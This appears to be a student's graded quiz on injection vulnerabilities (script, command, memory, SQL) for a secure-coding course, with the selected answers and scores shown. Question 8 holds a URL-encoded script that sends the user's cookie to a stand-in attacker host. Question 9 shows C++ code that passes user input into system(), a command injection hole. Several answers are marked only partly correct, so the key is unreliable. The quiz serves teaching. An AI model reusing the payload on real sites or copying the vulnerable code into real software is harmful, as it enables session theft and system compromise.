Question 1

1 / 1 pts

Match the injection vulnerability with the definition.

Script	The interpreter is meant to be
Command	The interpreter should not be
Memory	There is no interpreter.

Question 2

0.67 / 1 pts

Classify the injection vulnerabilities according to the following descriptions:

The injected code was written in machine language.	Memory Injection
The injected code was written in SQL.	more than one type is possible
The attacker found a way to break out of the sandbox.	more than one type is possible
The injected code was written in JavaScript.	Script Injection
There is no software interpreter in the vulnerable system.	Memory Injection
The malicious script was able to execute system commands, something the filters were designed to prevent.	Command Injection

Question 3

0.88 / 1 pts

Match the attack description with the name.

A Boolean expression always equating TRUE.	Tautology Vulnerability
Removing part of a statement or expression.	Comment Vulnerability
Illegally accessing the interpreter.	Script Injection
Modifying a Boolean expression to make it broader than the author intended.	UNION Query Vulnerability
Modifying a database statement to grant unintended access to the underlying data.	SQL Injection
Attacker providing a new statement that was not created by the code author.	Additional Statement Vulnera
Modifying a file-request statement thereby granting unintended access to files on the file system.	FTP Injection
Modifying access to the underlying operating system thereby granting unintended access to the system.	SHELL Injection

Question 4

0.33 / 1 pts

What are the three conditions that must be met for a Direct Script Injection attack to be successful.

- [ ] Malicious Code.
- [x] Scripting is Enabled.
- [ ] Input Not Sanitized.
- [ ] Host Web Site.
- [x] Open the Document.
- [x] Embed a Script.
- [ ] View the Web Page.
- [ ] Unchecked Buffer.

Question 5

1 / 1 pts

Reflected Script Injection

- [x] View the Web Page.
- [ ] Open the Document.
- [x] Insert Payload Onto Host.
- [ ] Unchecked Buffer.
- [ ] Input Not Sanitized.
- [x] Create the Payload.
- [ ] Embed a Script.
- [x] Exploitation.

Question 6

1 / 1 pts

What does YSTANEBPD stand for?

- ( ) Young Single Teenagers for ANarchy, Equality, Baseless Paranoia, and Domination.
- ( ) York Script-Target Attack Network Emulation to Blast Police Departments.
- (•) You Shouldn't Trust Anybody, Not Even Big Purple Dinosaurs.

Question 7

1 / 1 pts

Why is it more dangerous to execute script on someone else's web site than on the attacker's own web site?

- ( ) Because the user does not know that he is executing script.
- ( ) Because the user will think that the script belongs to the host's web site.
- (•) Because you will be working in their cookie space and trust mode.

Question 8

1 / 1 pts

What happens when the following URL is opened? Hint: you may need to decode the data in the URL.

```
http://portal.example/index.php?sessionid=12312312&amp; username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%
3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%6
5%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
```

- The user downloads a virus.
- The web site http://portal.example/index.php is opened normally.
- "Invalid characters in a URL" error.
- The user's cookie is stolen.

Question 9

1 / 1 pts

Describe the vulnerability:

```
int main(int argc, char **argv)
{
   // give the user some instructions
   if (argc == 1)
   {
      cout << "usage: " << argv[0] << " file1\n";
      return 1;
   }

    // display the contents of the file on the screen
   string command = "cat ";
   command += argv[1];
   system(command.c_str());

   return 0;
}
```

- Stack Buffer Overflow.
- Script Injection.
- Command Injection.
- Pointer Subterfuge.
- ARC Injection.
- SQL Injection.
- Heap Buffer Overflow.